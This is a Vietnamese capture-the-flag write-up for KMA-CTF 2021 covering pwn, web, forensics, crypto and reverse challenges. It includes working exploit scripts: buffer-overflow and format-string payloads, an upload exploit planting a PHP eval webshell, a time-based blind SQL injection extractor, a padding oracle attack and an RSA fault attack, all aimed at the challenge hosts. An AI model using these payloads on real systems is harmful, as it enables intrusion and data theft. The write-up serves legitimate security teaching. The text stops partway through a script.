WRITE-UP KMA-CTF-2021 LAN 2
Challenge type | |
---|---|
WEB | |
PWNABLE | |
REVERSE | |
CRYPTOGRAPHY | |
FORENSIC |
PWN 🌱
Credit write-up: Thành Draw
KMA
Đối với các bài thử thách về Pwn, đầu tiên chúng ta sẽ kiểm tra các kiến trúc và cơ chế bảo vệ của nó như:
- Architecture: Intel x86, Intel x64, ARM, …
- RELRO: cơ chế này cho phép một số section chỉ được read (không có quyền write, execute).
- Stack: cơ chế này kiểm tra xem stack có bị overwrite không.
- NX: cơ chế ngăn chặn input hoặc data thực thi.
- PIE: cơ chế giúp file load vào các vùng nhớ khác nhau, làm cho địa chỉ không cố định.
Để kiểm tra, tôi sẽ sử dụng checksec
tool.
Vì đây là một challenge đơn giản, các cơ chế bảo vệ đã được disable để dễ dàng trong việc exploit.
Load vào IDA để phân tích.
Luồng chương trình:
- Khởi tạo 0x20 bytes trên stack để lưu input.
- Cho phép người dùng nhập lên đến 0x100 bytes.
- Giải phóng 0x20 bytes trên stack và lệnh
pop edx
sẽ lấy giá trị để so sánh. Nếuedx
bằng với chuỗi_KMA
thì sẽ được vào shell.
Từ đây, tôi có thể kết luận đây là Buffer Overflow.
Để exploit ta chỉ cần nhập đủ 0x20 bytes, theo sau là chuỗi _KMA
.
Amazingg
Kiểm tra các cơ chế bảo vệ của file.
Chú ý, ta thấy đây là một file 64 bit. Load file vào IDA để phân tích.
Tại hàm gets()
cho phép nhập với độ dài tùy ý, nên tôi xác định đây là Buffer Overflow.
Nhìn vào các function của chương trình, tôi thấy thêm các hàm Func1()
, Func2()
, Func3()
, Puts_flag()
.
Hàm Puts_flag()
sẽ kiểm tra các biến check1
, check2
, check3
do các hàm Func1()
, Func2()
, Func3()
gán. Do vậy, ta phải lợi dụng lỗ hổng Buffer Overflow để thực thi được tất cả các hàm này mới có thể lấy được flag.
Để làm được điều này, ta phải tính toán offset hợp lý để tạo payload.
- Đầu tiên, trong hàm
main()
có lệnhsub rsp, 10h
vàleave
nên ta sẽ nhập đủ 0x10 bytes. (Vì sao thì các bạn xem ý nghĩa của lệnh leave). - Tiếp theo, các hàm
Func1()
,Func2()
,Func3()
đều có lệnhcmp [rbp-4], 539h
. Nên ta sẽ nhập 4 bytes tùy ý và 0x539 để ghi đè vàorbp
. - Cuối cùng,
return address
tôi sẽ nhập vào các hàm cần thực thi.
Đây là script exploit.
from pwn import *
p = process("./amazingg")
p.recvuntil("step....\n")
p.sendline(b"a"*16 + b"a"*4 + p32(1337) + p64(0x4006E6) + p64(0x40070E) + p64(0x400736) + p64(0x40075E))
p.interactive()
fs
Kiểm tra các cơ chế bảo vệ của file.
Challenge này đã bật cơ chế Stack Canary, nên sẽ không có lỗ hổng Buffer Overflow nữa.
Load file vào IDA để phân tích.
Trong hàm vuln()
, tôi thấy có lệnh printf(s);
nên tôi xác định đây là lổ hổng Format String.
Để khai thác lỗi này, ta phải tìm được offset, từ esp
đến vùng nhớ flag được lưu trữ ở stack.
Bật debug, tôi tìm được offset bắt đầu của flag sẽ là 57
. Để lấy được giá trị tại offset này, tôi dùng format $p
.
Viết Script khai thác.
from pwn import *
offset = 57
flag = ""
while True:
p = process("./fs")
p.recvuntil("\n")
payload = "%" + str(offset) + "$p"
p.sendline(payload)
recv = p.recvuntil("\n").decode("utf-8")
recv = recv[11:len(recv) - 1]
if offset == 57:
recv = recv[:len(recv) - 2]
flag += bytes.fromhex(recv).decode('utf-8')[::-1]
offset += 1
print(flag)
WEB 🍦
Credit write-up: nhienit2010
ekyc
Đầu tiên, ta dùng git-dumper
để kéo toàn bộ folder .git
trên server về và lấy source.
Source code:
<?php
ini_set("display_errors", 1);
// ini_set("display_startup_errors", 1);
error_reporting(E_ALL);
$DB_HOST = '192.168.0.3';
$DB_PORT = 27017;
$DB_NAME = 'apikey_db';
function get_client_ip()
{
$ipaddress = '';
if (isset($_SERVER['HTTP_CLIENT_IP']))
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if (isset($_SERVER['HTTP_X_FORWARDED']))
$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
else if (isset($_SERVER['HTTP_FORWARDED_FOR']))
$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
else if (isset($_SERVER['HTTP_FORWARDED']))
$ipaddress = $_SERVER['HTTP_FORWARDED'];
else if (isset($_SERVER['REMOTE_ADDR']))
$ipaddress = $_SERVER['REMOTE_ADDR'];
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
//check db
try {
//Connect DB
$key = "";
$limit = "";
$current = "";
//Get Key - Value from DB && Check API-key form request
$header = getallheaders();
if (isset($header['Api-Key'])) {
$query = [[
'key' => 'key',
'limit' => 10,
'current' => 0
]];
if ($query) {
$key = $query[0]['key'];
$limit = $query[0]['limit'];
$current = $query[0]['current'];
$key_send = $header['Api-Key'];
// var_dump($key_send);
if ($key_send == $key) {
if ($limit >= $current) {
$current++;
$data_log = $_REQUEST;
$data_send = $_POST;
$data_log['IP'] = get_client_ip();
$data_log['requestTime'] = new \DateTime();
try {
//Add to memcached
$memcached = new Memcached();
$memcached->addServer('127.0.0.1', 11211);
$memcached->add("file_base64_AIconnector", $data_send['base64'], 36000);
//Add to Redis
$redis = new Redis();
$redis->connect('192.168.16.164', 6798);
$redis->auth('apikey_cloud');
$redis->set('key_AIconnector', $key);
$redis->set('limit_AIconnector', $limit);
$redis->set('current_AIconnector', $current);
} catch (\Throwable $e) {
}
$base64_string = $_POST["base64"];
// echo $base64_string;
//Check have extension in base64 string or not
if (strpos($base64_string, ',')) {
// Chia base64 và data IMEI
$check_imei = explode(',', $base64_string);
$base64 = $check_imei[1];
$imei = $check_imei[0];
//Lấy EMEI
$imei = substr($imei, 5, -7); // bcd
var_dump($imei);
var_dump($base64);
$extension_file = explode('/', $imei);
//Write to new file
$output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
var_dump($output_file);
$file = fopen($output_file, "wb");
fwrite($file, base64_decode($base64));
fclose($file);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$finfo = finfo_file($finfo, $output_file);
$cFile = curl_file_create($output_file, $finfo, basename($output_file));
$data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
//After write log, send data to 3rd party
var_dump($data_send_final);
$curl = curl_init();
$data_string = json_encode($data_send_final);
curl_setopt_array($curl, array(
CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => $data_send_final,
CURLOPT_HTTPHEADER => array(
"api-key: " . $key
),
CURLOPT_RETURNTRANSFER => true,
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
header('Content-Type: application/json');
echo $response;
}
} else {
//Write to new file
$output_file = __DIR__ . "/upload/img_" . time() . ".jpg";
$file = fopen($output_file, "wb");
fwrite($file, base64_decode($base64_string));
fclose($file);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$finfo = finfo_file($finfo, $output_file);
$cFile = curl_file_create($output_file, $finfo, basename($output_file));
$data_send_final = array("image" => $cFile, "filename" => $output_file, "mime" => $finfo, "postname" => basename($output_file));
//After write log, send data to 3rd party
$curl = curl_init();
$data_string = json_encode($data_send_final);
curl_setopt_array($curl, array(
CURLOPT_URL => "https://api.fpt.ai/vision/idr/vnm",
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => $data_send_final,
CURLOPT_HTTPHEADER => array(
"api-key: " . $key
),
CURLOPT_RETURNTRANSFER => true,
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
header('Content-Type: application/json');
echo $response;
}
}
} else {
$return = array("errorCode" => "11", "errorMessage" => "Reach Request Limit", "data" => $_REQUEST);
header('Content-Type: application/json');
echo json_encode($return);
}
}
} else {
$return = array("errorCode" => "1", "errorMessage" => "The key isn't correct", "data" => $_REQUEST);
header('Content-Type: application/json');
echo json_encode($return);
}
} else {
$return = array("errorCode" => "403", "errorMessage" => "Permission Denied!");
header('Content-Type: application/json');
echo json_encode($return);
}
exit(0);
} catch (Exception $ex) {
http_response_code(505);
die();
}
Nhìn có vẻ khá phức tạp nhưng ta chỉ chú ý đến đoạn này
$base64_string = $_POST["base64"];
// echo $base64_string;
//Check have extension in base64 string or not
if (strpos($base64_string, ',')) {
// Chia base64 và data IMEI
$check_imei = explode(',', $base64_string);
$base64 = $check_imei[1];
$imei = $check_imei[0];
//Lấy EMEI
$imei = substr($imei, 5, -7); // bcd
$extension_file = explode('/', $imei);
//Write to new file
$output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
$file = fopen($output_file, "wb");
fwrite($file, base64_decode($base64));
fclose($file)
Ở đây ta thấy có thể control được extension và nội dung của file upload nên ý tưởng là dùng chức năng này để tạo một php webshell. Và $_POST["base64"]
là một string được chia làm 2 phần tách bởi dấu ,
, phần bên phải là chuỗi base64 sau khi decode ra thì sẽ là nội dung của file, và phần bên trái được check để lấy extension
.
$extension_file
sẽ được lấy từ substr($imei, 5, -7)
(với $imei
phần bên trái của chuỗi $_POST["base64"]
tách bởi dấu ,
), nghĩa là chuỗi sẽ được cắt từ vị trí 5 ký tự đầu
và vị trí 7 ký tự từ ký tự cuối cùng trở ngược về đầu
. Ví dụ: substr("ahihi/php1234567", 5, -7) = /php
.
Khi thành công thì tên file sẽ được lưu và có dạng /upload/img_23132123121.php
với số 23132123121
được hàm time()
tạo ra. Và số do hàm time
gen ra ta có thể brute-force để tìm ra tên file.
Để làm được những điều đó, một điều kiện quan trọng nữa là phải tồn tại header Api-Key
và giá trị của nó phải là key
, dựa vào source code như sau:
if ($query) {
$key = $query[0]['key'];
$limit = $query[0]['limit'];
$current = $query[0]['current'];
$key_send = $header['Api-Key'];
// var_dump($key_send);
if ($key_send == $key) {
Nhưng khi thử thì fail có vẻ như server chặn truy cập vào các file có dạng img_xxxxxxx.php
chỉ toàn trỏ về img_.php
, vì thế ta chỉ cần thêm gì đó trước .php
là được ví dụ như: img_1233112323.aa.php
My solution:
import requests
import time
url = 'http://ekyc.ctf.actvn.edu.vn'
r = requests.Session()
headers = {'Api-Key': 'key', 'X-Forwarded-For':'127.0.0.1'}
def exploit():
s = int(time.time())
resp = r.post(url, headers=headers, data={'base64':'asdas/aa.phpsasdphp,PD9waHAgCmV2YWwoJF9HRVRbJ2NtZCddKTsKPz4='})
for i in range(s, s+10):
u = url + '/upload/img_' + str(i) + '.aa.php'
resp = r.get(u, headers=headers)
if resp.status_code != 404:
print(u)
if __name__ == "__main__":
exploit()
Flag: KMACTF{Ekyc_Ekyc_Everywhere}
SQL injection
Có một khung search text cho ta nhập vào một thứ gì đó và sau đó trả về dữ liệu từ database, khi search thì dữ liệu POST lên có dạng
{
"s":"anything",
"f":[
"id",
"text",
"title",
"description"]
}
Nhưng có vẻ trường f
kia chứa column
sẽ được đưa vào câu query, nghĩa là ta có thể control được tên cột. Mình đã thử thay description
thành sleep(3)
thì response trả về sau 3s, nên đây là chổ mà ta có thể inject.
Query để lấy tên bảng:
{
"s":"anything",
"f":[
"id",
"text",
"title",
"(select case when (select table_name from information_schema.tables limit 1 offset 1) like '_fl%' then sleep(1) else 1 end)-- -"]
}
Sau một lúc ta nhận có được bảng _flag_
và có một column là flag
, nhưng dựa vào hint từ author là flag có chứa ký tự utf8mb4
, nghĩa là flag không chứa các ký tự alphabet
như bình thường, ý tưởng là encode nó sang hex và dùng regex để lấy các ký tự hex đó ra vì hex chỉ chứa các ký tự từ [0->f]
My solution:
import requests
from string import printable
import time
url = 'http://bif.ctf.actvn.edu.vn'
r = requests.Session()
flag = ''
while True:
for c in printable.replace('%','').replace('*',''):
payload = f"(select case when (select hex(flag) from _flag_ limit 1 offset 0) RLIKE \"^{flag + c}.*\" then sleep(1) else 1 end)-- -"
data = {"s":"anything","f":["1","2","3", payload]}
s = time.time()
resp = r.post(url, json=data, headers={'Content-type': 'application/json'})
e = time.time()
if (e - s >= 2):
flag += c
print(flag)
break
Flag: KMACTF{🐱🐈🐈⬛🐈🐈🐈🐱}
FORENSIC 🌏
Talk-72
Credit write-up: DangKhai
Challenge link: link
Description: I hear them whispering something!
Gợi ý:
Sử dụng công cụ SSTV Decoder với chức năng robot 72
thực hiện giải mã đoạn wav.
Flag: KMA{4r3a_51_closer_UFO}
Old trick ;)
Credit write-up: DangKhai
Challenge link: link
Description: Not image.
Gợi ý:
- Trích xuất mã màu rgb của ảnh được cho. Ví dụ ở pixel thứ nhất tức
x,y(0,0)
trích xuất được giá trịRGB(33, 193, 180)
, sau đó chuyển đổi giá trị RGB này thành mã hex tương ứng ví dụ 21C1B4 . Làm tương tự với tất cả pixel của ảnh. - Sau khi chuyển đổi thành mã hex, xác định signature của tệp chứa cờ.
- Thực hiên Re-Compress lại thành tệp và nhận cờ chứa bên trong.
Flag: KMA{0ld_tr!ck_but_y0u_c4n_us3_!t}
Misc - KCSC - HPPD
Credit write-up: DangKhai
Gợi ý:
Ải 1:
------------oOo------------
Gửi các anh chị cựu thành viên, các bạn trong CLB, các nhẫn giả.
Nhân dịp câu lạc bộ KCSC tròn 2 tuổi, một cột mốc quan trọng đánh dấu sự hình thành và phát triển của câu lạc bộ, chúng mình tổ chức một buổi lễ kỉ niệm nho nhỏ duới hình thức ONLINE.
Vì tình hình dịch Cô Vy phức tạp, không có cách nào hơn để chia sẻ niềm vui này cùng các bạn. Hoạt động chính của lễ kỷ niệm này chỉ là đôi lời mà KCSC chúng mình cảm ơn, tri ân đến các bạn đọc giả, các thành viên trong CLB đã luôn gắn bó và đồng hành cùng KCSC. Ngoài ra, tụi mình còn| chuẩn bị một vài thử thách CTF nho nhỏ gửi đến các bạn cho đúng không khí là một câu lạc bộ ATTT.
Để không bỏ lỡ sự kiện đặc biệt này, chúng mình xin kính mời các bạn nhanh chóng truy cập vào fanpage CLB để cập nhật những thông tin mới nhất về lễ kỉ niệm này nhé.
Sự tham gia của các bạn là niềm vinh dự của chúng mình!
Thắc mắc xin liên hệ DinDonDon !
------------oOo------------
Khoảng cách giữa các từ trong thư ẩn mã morse. Với
[space] * 3 = - (hyphen)
[space] * 2 = . (dot)
[space] * 1 = (space)
Sau khi extract được đoạn mã, sử dụng morse decoder giải mã và nhận phần đầu của cờ.
KCSC(TH4NK_Y0U
Ải 2:
Link kí tự: link
Sử dụng hex decoder decode hex, xác định signature của rar file. Dùng password được đính kèn sau khi giải mã thực hiện giải nén tệp và nhận phần tiếp theo của cờ.
F0R_ALL&
Ải 3:
Osint tìm thông tin về DinDonDon.
Truy cập vào trang member kcsc tìm kiếm thông tin có liên quan đến DinDonDon, nhận được chuỗi 8wHQ6oZp3LTC6x5pCY
. Giải mã base58 và nhận được phần cuối của cờ.
_G00D_H34LTH)
Cờ đầy đủ:
Flag: KCSC(TH4NK_Y0U_F0R_ALL_&_G00D_H34LTH)
Let’s take a look at the operating system architecture
Credit write-up: 5L1V3RKN16H7KM4
Challenge link: https://bit.ly/2WCKVLC
Description: We got some good files from the victim's computer. I think you know what to do with it. Find it up!
**Questions:**
1. What is the originai name of the file "renamed" Hint length is 6
2. What is the user of the computer in use? Flint length is 8
3. This section is hosted on the Internet
4. What is the name of the final file downloaded by the victim? Hint length is 4
Hint: *Renamed file has more information than you think!
Supportive Tools:
Phân tích challenge
Chúng ta nhận được 1 file chall.rar, xả nén ra ta có một folder Roaming và file renamed Theo như cấu trúc thư mục trong Roaming, mình nhận ra đây là một phần của folder AppData trên Windows. Dùng command File, ta có kết quả đây là registry file
Q1
What is the originai name of the file "renamed" Hint length is 6
Chúng ta tiến hành mở file renamed bằng Registry Explorer/RECmd Từ các key đã cho, chúng ta có thể xác nhận đây là hive HKEY_CURRENT_USER Trong Windows, hive HKEY_CURRENT_USER được đặt tại thư mục user với tên NTUSER.DAT
KMACTF{ntuser_
Q2
What is the user of the computer in use? Flint length is 8
Từ hive HKEY_CURRENT_USER chúng ta nhận được ở trên, theo đường dẫn Control Panel\Desktop\Wallpaper, ta có đướng dẫn đến hình nền Desktop của user:
KMACTF{ntuser_kcsc0x21_
Q3
This section is hosted on the Internet
Chúng ta kiểm tra thư mục Roaming, trong đó có thư mục Mozilla, theo google thì Firefox lưu trữ user profile ở đây, bao gồm Bookmarks, History, Cookie và lịch sử Download,…
Chúng ta tiến hành mở file places.sqlite từ profile folder của Firefox
bằng DB Browser for SQLite
Lịch sử truy cập ở table moz_places
Chúng ta có thể thấy (bài viết về vụ 2 vợ chồng mất tích ở Thanh Hoá) có một url từ github: https://raw.githubusercontent.com/dianguc38/CTF/master/part2.md
KMACTF{ntuser_kcsc0x21_w4s_h3r3_
Q4
What is the name of the final file downloaded by the victim? Hint length is 4
Từ file places.sqlite ở Q3, ta có thể truy cập lịch sử download bằng table moz_annos Chuyển thời gian sang dạng có thể đọc được
KMACTF{ntuser_kcsc0x21_w4s_h3r3_war601}
Tuy nhiên thì flag bị sai, và mình đã xin anh Khải hint, và chúng ta có:
Hint: Renamed file has more information than you think!
Sau một hồi đọc từng key trong HKEY_CURRENT_USER, mình đã tìm thấy flag ở key Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs Nhìn thời gian thì file war601 download sau cùng, tuy nhiên đề bài yêu cầu final file downloaded by the victim chứ không phải final file downloaded nên chúng ta có flag mới
KMACTF{ntuser_kcsc0x21_w4s_h3r3_0808}
CRYPTOGRAPHY 🌻
Credit write-up: Uyen
Ciphers
Caesar cipher and Affine cipher aren’t safe enough, how about Caesar-then-Affine?
chall.py
from Crypto.Util.number import getPrime
from random import randint
from flag import FLAG
assert FLAG.startswith(b"KMA{") and FLAG.endswith(b"}")
n = getPrime(32)
def caesar_affine(msg, key):
ct = []
for m in msg:
c = (m + key[0]) % n
c = (key[1]*c + key[2]) % n
ct.append(c)
return ct
enc = list(FLAG)
for i in range(32):
key = (randint(1,n), randint(1,n-1), randint(1,n))
enc = caesar_affine(enc, key)
#print(n) :)
print(enc)
# [3672812146, 1322164696, 3179556757, 325408115, 451283413, 83903322, 1626607138, 388345764, 1070414100, 1007476451, 1626607138, 1689544787, 577158711, 1689544787, 3358123901, 4040192237, 2738993214, 2676055565, 1007476451, 388345764, 1070414100, 2749239017, 3358123901, 577158711, 451283413, 3179556757, 2676055565, 577158711, 3358123901, 3053681459, 388345764, 577158711, 1070414100, 3358123901, 4040192237, 2738993214, 1689544787, 2308675474, 1563669489, 2560426070, 577158711, 2434550772, 1689544787, 4040192237, 3295186252, 2738993214, 1070414100, 388345764, 2676055565, 2056924878]
Khi mã hóa Affine một bản rõ m
hai lần với khóa khác nhau lần lượt là (a1,b1) và (a2,b2) thu được c = a2*(a1*m + b1) + b2 = (a1*a2)*m + (a2*b1 + b2) (mod n)
.
Có thể thấy hai lần Affine sẽ thành một lần Affine khác với a' = a1*a2, b' = a2*b1 + b2
; do gcd(a1,n) = gcd(a2,n) = 1 (điều kiện mã Affine gcd(a,n) = 1) nên gcd(a1*a2,n) cũng bằng 1. Caesar cũng là mã Affine với a = 1 nên challenge trở thành một lần Affine, c = A*m + B mod n
, hidden n, A, B.
Biết được bản mã tương ứng của KMA{}
là [3672812146, 1322164696, 3179556757, 325408115, 2056924878].
Đặt m’ và c’ là hiệu của hai cặp (m,c) bất kì, m' = m_i - m_j, c' = c_i - c_j, nên c' = A * m' (mod n)
.
Nếu có 2 phương trình:
A * m1' = c1' (mod n); A * m2' = c2' (mod n)
A * m1' * m2' = c1' * m2' (mod n); A * m2' * m1' = c2' * m1' (mod n); Nhân hai vế của từng phương trình.
0 = c1' * m2' - c2' * m1' (mod n); Trừ hai phương trình với nhau.
Factor(c1' * m2' - c2' * m1')
sẽ tìm được n. Sau khi có n, tính A = c'*m'^-1 (mod n), B = c - A*m (mod n)
. Dùng n, A, B giải mã phần còn lại của flag.
>>> m = list(b'KMA{}')
>>> c = [3672812146, 1322164696, 3179556757, 325408115, 2056924878]
>>> (c[0]-c[1])*(m[2]-m[3]) - (c[2]-c[3])*(m[0]-m[1])
-130629254816
>>> # Factor(-130629254816) = -1 * 2^5 * 4082164213, n = 4082164213.
>>> n = 4082164213
>>> A = (c[0]-c[1])*pow(m[0]-m[1], -1, n) % n
>>> B = (c[0] - A*m[0]) % n
>>> c = [3672812146, 1322164696, 3179556757, 325408115, 451283413, 83903322, 1626607138, 388345764, 1070414100, 1007476451, 1626607138, 1689544787, 577158711, 1689544787, 3358123901, 4040192237, 2738993214, 2676055565, 1007476451, 388345764, 1070414100, 2749239017, 3358123901, 577158711, 451283413, 3179556757, 2676055565, 577158711, 3358123901, 3053681459, 388345764, 577158711, 1070414100, 3358123901, 4040192237, 2738993214, 1689544787, 2308675474, 1563669489, 2560426070, 577158711, 2434550772, 1689544787, 4040192237, 3295186252, 2738993214, 1070414100, 388345764, 2676055565, 2056924878]
>>> flag = bytes([(i-B)*pow(A,-1,n) % n for i in c])
>>> flag
b'KMA{mUltiple_encrypti0n_mAy_nOt_increasE_Security}'
###
It’s really a free flag, you need only ask.
chall.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from os import urandom
from flag import FLAG
def xor(x,y):
return bytes([a^b for a,b in zip(x,y)])
class Challenge:
def __init__(self, key):
self.key = key
self.message = b"Hi, I'm here for the flag, plz give it to me."
self.cipher = AES.new(self.key, AES.MODE_ECB)
def encrypt(self, plaintext):
plaintext = bytes(16) + pad(plaintext, 16)
ciphertext = urandom(16) # IV
for i in range(16,len(plaintext),16):
tmp = xor(xor(plaintext[i:i+16], plaintext[i-16:i]), ciphertext[i-16:i])
tmp = self.cipher.encrypt(tmp)
ciphertext += tmp
return ciphertext
def decrypt(self, ciphertext):
plaintext = bytes(16)
for i in range(16,len(ciphertext),16):
tmp = self.cipher.decrypt(ciphertext[i:i+16])
plaintext += xor(xor(tmp, plaintext[i-16:i]), ciphertext[i-16:i])
plaintext = plaintext[16:]
try:
plaintext = unpad(plaintext,16)
if plaintext == self.message:
return FLAG
else:
return "Try again."
except Exception as e:
return e
if __name__ == "__main__":
chall = Challenge(urandom(16))
while True:
try:
ciphertext = bytes.fromhex(input())
assert len(ciphertext) % 16 == 0 and len(ciphertext) >= 32
print(chall.decrypt(ciphertext))
except:
break
Bài yêu cầu nhập ciphertext
, nếu decrypt ciphertext
là "Hi, I'm here for the flag, plz give it to me."
thì gửi flag
, nếu padding sai sẽ gửi thông báo lỗi, padding đúng thì gửi Try again
.
PCBC mode decryption - Wikipedia
Như vậy phải construct bản mã cho message
b”Hi, I’m here for the flag, plz give it to me.\x03\x03\x03” khi đã thêm padding, chia thành 3 AES block mỗi block 16 byte.
Hi, I'm here for (M1)
the flag, plz g (M2)
ive it to me.\x03\x03\x03 (M3)
Xét trường hợp bản mã chỉ gồm IV | C (với C là một block bản mã bất kì), có thể thay đổi IV để thực hiện padding oracle attack và tìm được bản rõ của C. |
Để tìm bản mã của message
, bắt đầu từ một block C3
bất kì, padding oracle attack để tìm bản rõ của C3 là D(C3). Block C2 = M2 XOR M3 XOR D(C3)
. Tương tự, padding oracle attack để tìm bản rõ của C2 là D(C2). Block C1 = M1 XOR M2 XOR D(C2)
. Padding oracle attack thêm một lần nữa để tìm D(C1). IV = M1 XOR D(C1)
. Bản mã cần tìm là IV | C1 | C2 | C3
.
from pwn import xor, remote
from Crypto.Util.Padding import pad, unpad
from os import urandom
r = remote('20.42.60.42', 9992)
msg = pad(b"Hi, I'm here for the flag, plz give it to me.",16)
ct = [urandom(16)]
for cnt in range(2,-1,-1):
C = ct[-1]
decrypted = []
for c in range(1,17):
print(c, end=' ')
IV = list(bytes(16))
for i in range(256):
IV[-c] = i
for j in range(1,c):
IV[-j] = decrypted[-j] ^ c
r.sendline((bytes(IV) + C).hex())
res = r.recvuntil("\n",drop=True)
if res == b"Try again.":
print(i,res)
decrypted = [i^c] + decrypted
break
if cnt != 0:
ct.append(xor(xor(bytes(decrypted), msg[16*cnt:16*cnt+16]), msg[16*cnt-16:16*cnt]))
else:
ct.append(xor(bytes(decrypted), msg[16*cnt:16*cnt+16]))
ct = b''.join(ct[::-1])
r.sendline(ct.hex())
print(r.recvuntil("\n",drop="True"))
# KMA{P4ddIng_0r4clE_4tt4ck}
Random Fault
I’ve just found a weird signing server, but it seems broken. Can you get the flag?
chall.py
from Crypto.Util.number import getStrongPrime
from random import getrandbits
from flag import FLAG
from os import urandom
class RSA:
def __init__(self, p, q, e=65537):
self.N = p*q
self.e = e
self.p = p
self.q = q
self.dp = pow(e, -1, p-1)
self.dq = pow(e, -1, q-1)
self.inv_q = pow(q, -1, p)
def encrypt(self, m):
return pow(m, self.e, self.N)
def sign(self, m):
Sp = pow(m, self.dp, self.p) if getrandbits(1) else pow(m, self.dp, self.p) | getrandbits(32)
Sq = pow(m, self.dq, self.q) if getrandbits(1) else pow(m, self.dq, self.q) | getrandbits(32)
S = Sq + self.q * (((Sp - Sq)*self.inv_q) % self.p)
return S
if __name__ == "__main__":
p = getStrongPrime(1024, e=65537)
q = getStrongPrime(1024, e=65537)
rsa = RSA(p, q)
FLAG = int.from_bytes(urandom(245 - len(FLAG)) + FLAG, "big")
for i in range(32):
try:
m = int(input("m: "))
assert 1 < m < p*q
print(rsa.sign(m))
except:
exit("Invalid input.")
print(f"Encrypted flag: {rsa.encrypt(FLAG)}")
RSA - Using the Chinese remainder algorithm
Fault attack on RSA-CRT, bài yêu cầu gửi m (1 < m < n), trả về giá trị m^d mod n
(sử dụng CRT). Lỗi xảy ra khi getrandbits(1) = 0
nên Sp và Sq khi đúng khi sai.
Bảng dưới tóm tắt S trả về tương ứng với (Sp, Sq), cột thứ hai là giá trị S mod p
, cột thứ ba là giá trị S mod q
, và Ŝ
là kí hiệu có lỗi xảy ra.
Giả sử gửi 32 m
giống nhau, trong các kết quả trả về có 32 giá trị S, (Sp, Sq)
có thể nhận biết được vì S1 cố định, xuất hiện nhiều lần.
Có S1 - S2 = 0 (mod p)
và S1 - S3 = 0 (mod q)
, nếu tìm được một cặp (S,S’) sao cho S khác S’, S và S’ cùng là S2 hoặc cùng là S3 thì gcd(|S1 - S|, |S1 - S'|)
có thể chứa một ước của n.
from itertools import combinations
from pwn import remote
from Crypto.Util.number import *
r = remote('20.205.163.226', 9993)
s = []
for i in range(32):
r.recvuntil("m: ")
r.sendline("2")
s.append(int(r.recvline().strip()))
r.recvuntil("Encrypted flag: ")
enc = int(r.recvline().strip())
r.close()
for i in s:
if s.count(i) != 1:
ss = i
break
c = combinations(set(s),2)
primes = []
for i in c:
tmp = GCD(abs(ss-i[0]), abs(ss-i[1]))
if isPrime(tmp) and tmp.bit_length() > 1000 and tmp not in primes:
primes.append(tmp)
if len(primes) == 2:
break
phi = (primes[0] - 1)*(primes[1] - 1)
d = pow(65537,-1,phi)
print(long_to_bytes(pow(enc,d,primes[0]*primes[1])))
# KMA{__fAulty_faUlty_SignaturE__}
REVERSE 🐬
Credit write-up: Thành Draw
recursion
Đầu tiên tôi thấy trong phần string có một const đặc biệt.
Xref theo string này, nó sẽ dẫn tới hàm sub_4014DD()
.
Ở đây, ta thấy dword_404020
sẽ là mảng chứa các giá trị để phục vụ việc tính toán, và làm tham số cho hàm sub_401460()
. Kết quả trả về của hàm sub_401460()
đó chính là flag và sẽ được in ra console.
Phân tích vào hàm sub_401460()
, ta thấy nó sử dụng đệ quy để tính toán. Hạn chế của đê quy là nếu số truyền vào càng lớn thì tốc độ tính toán càng chậm. Nên khi tôi chạy file thì không nhận được flag. :((
Để giải quyết được bài toán này thì chúng ta sẽ khử đệ quy bằng cách tìm quy luật của nó.
Hàm này quy luật sẽ như sau:
a[0] = 0
a[1] = 1
a[2] = 2
a[3] = (75 * a[2]) + (3 * a[1]) + (17 * a[0])
a[4] = (75 * a[3]) + (3 * a[2]) + (17 * a[1])
Từ đó ta có được script như bên dưới:
enc = [7, 9, 19, 5, 262, 182, 33, 112, 134, 12, 136, 55, 309, 33, 239, 84, 405, 55, 121, 84, 215, 33, 134, 12, 239, 33, 23, 239, 23, 379, 309, 37, 41]
flag = ""
for i_enc in range(len(enc)):
data = [0 for i in range(enc[i_enc] + 1)]
for i in range(0, enc[i_enc] + 1):
if i == 0:
data[0] = 0
elif i == 1:
data[1] = 1
elif i == 2:
data[2] = 2
else:
data[i] = (75 * data[i - 1]) + (3 * data[i - 2]) + (17 * data[i - 3])
flag += chr(data[enc[i_enc]] & 0xFF)
print(flag)
Flag là: KMA{pH180n4Cc1_r3CurS10n_1s_sUck}
Encryptor
Đây là một chương trình mã hóa file. Load vào IDA để phân tích.
Hàm main()
chương trình gồm 3 hàm:
f_open_file()
sẽ thực hiện mở, đọc file và lưu data vào memory, địa chỉ của memory này sẽ lưu vào biến argcf_encrypt_file()
mã hóa dataf_save_encrypted_file()
lưu encrypted data vào file với đường dẫn là file gốc + “.encrypt” extension.
Tôi tiến hành phân tích sâu vào f_encrypt_file()
. Tôi thấy mỗi lần mã hóa 8 bytes. Cuối cùng data mã hóa đó sẽ được lưu lại vào biến data
bằng hàm memmove()
.
Từ đây tôi sẽ viết script để decrypt lại file bằng z3 python.
from z3 import *
with open("flag.jpg.encrypt", "rb") as f:
enc = f.read()
data = [0 for i in range(len(enc))]
for i_len_enc in range(0, len(enc) - 1, 8):
inp = [BitVec("%d" % i, 8) for i in range(8)]
s = Solver()
rs = 0
for i in range(0, 8):
rs = 0
for j in range(0, 8):
rs += ((inp[j] >> i) & 1) << j
rs = 0xFF - (rs & 0xFF) + 1
s.add(rs == enc[i_len_enc + i])
if s.check() == sat:
flag = []
